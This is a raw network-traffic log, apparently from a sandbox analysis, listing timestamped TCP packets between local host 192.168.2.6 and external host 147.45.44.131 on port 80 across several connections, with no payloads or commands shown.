Jan 2, 2025 19:14:18.000193119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000211000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000216961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000228882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000233889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000245094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000251055 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000257015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000262022 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000262022 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000272989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000272989 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000292063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000297070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000305891 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000317097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000323057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000334024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000340939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000345945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000356913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000360966 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000371933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000372887 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000384092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000386953 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000397921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000403881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000410080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000416040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000427008 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000439882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000446081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000447035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000461102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000464916 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000520945 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.001323938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001332045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001337051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001368046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001373053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001384020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001393080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001394987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.001399994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001405954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001429081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.001529932 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.001990080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.001996040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002012968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002019882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002027035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002068996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002075911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002079964 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.002080917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.002083063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002088070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.002177000 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.005709887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005759001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005765915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005773067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005785942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005793095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005800009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005804062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005819082 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.005853891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.005853891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.005927086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005940914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005951881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005958080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005964041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005969048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005975008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005980015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.005987883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006181002 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006263971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006269932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006285906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006311893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006316900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006328106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006329060 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006335974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006341934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006355047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006365061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006365061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006438017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006464958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006469965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006480932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006516933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006520987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006535053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006541014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006546021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006548882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006552935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006576061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006622076 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.006958961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006964922 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006978035 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.006983995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007041931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007049084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007062912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007065058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007065058 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007075071 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007081985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007087946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007105112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007169962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007173061 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007196903 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007210970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007216930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007222891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007230043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007236004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007242918 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007252932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007258892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007262945 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007263899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007270098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007276058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007288933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007293940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007303953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007311106 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007325888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007332087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007333040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007344007 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007354975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007355928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007360935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007361889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007369041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007374048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007380009 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007380009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007385969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007402897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007409096 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007415056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007419109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007424116 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007430077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007438898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007443905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007448912 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007448912 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007455111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007458925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007477999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007491112 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007496119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007502079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007505894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007505894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007507086 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007514954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007525921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007531881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007531881 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007536888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007543087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007549047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007559061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007565975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007569075 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007570982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007590055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007590055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007620096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007632971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007637978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007644892 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007649899 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007668018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007699013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007699013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007734060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007746935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007750988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007752895 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007756948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007761955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007814884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007817984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007818937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007821083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007829905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007834911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007852077 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007888079 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007929087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007934093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007946968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007960081 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007966042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007972956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007975101 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.007978916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.007983923 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008028984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008058071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008063078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008080006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008084059 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008086920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008091927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008097887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008102894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008110046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008111000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008126020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008131981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008137941 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008142948 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008148909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008151054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008156061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008160114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008172035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008177042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008192062 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008192062 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008227110 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008227110 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008692026 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008706093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008718014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008723021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008728981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008740902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008778095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008778095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.008821964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008835077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.008884907 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.009749889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009757042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009763002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009768009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009773970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009779930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009787083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009805918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.009818077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009824038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009829998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009839058 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.009890079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009896040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009903908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.009907007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009912968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009919882 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.009923935 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.009979010 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010288000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010333061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010338068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010355949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010361910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010366917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010380030 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010396004 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010407925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010415077 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010437965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010471106 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010803938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010843992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010889053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010986090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.010993004 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.010998964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011006117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011017084 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011023045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011029005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011035919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011045933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011046886 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011051893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011056900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011063099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011069059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011076927 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011076927 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011265993 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011384010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011389017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011490107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011496067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011508942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011514902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011522055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011528015 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011528969 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.011578083 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.011607885 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.024636984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024642944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024653912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024661064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024667978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024776936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.024776936 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.024965048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024971008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.024982929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025002956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025010109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025015116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025021076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025026083 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025051117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025060892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025070906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025070906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025126934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.025192022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025197983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025227070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025233984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025244951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.025249958 CET	80	49726	147.45.44.131	192.168.2.6
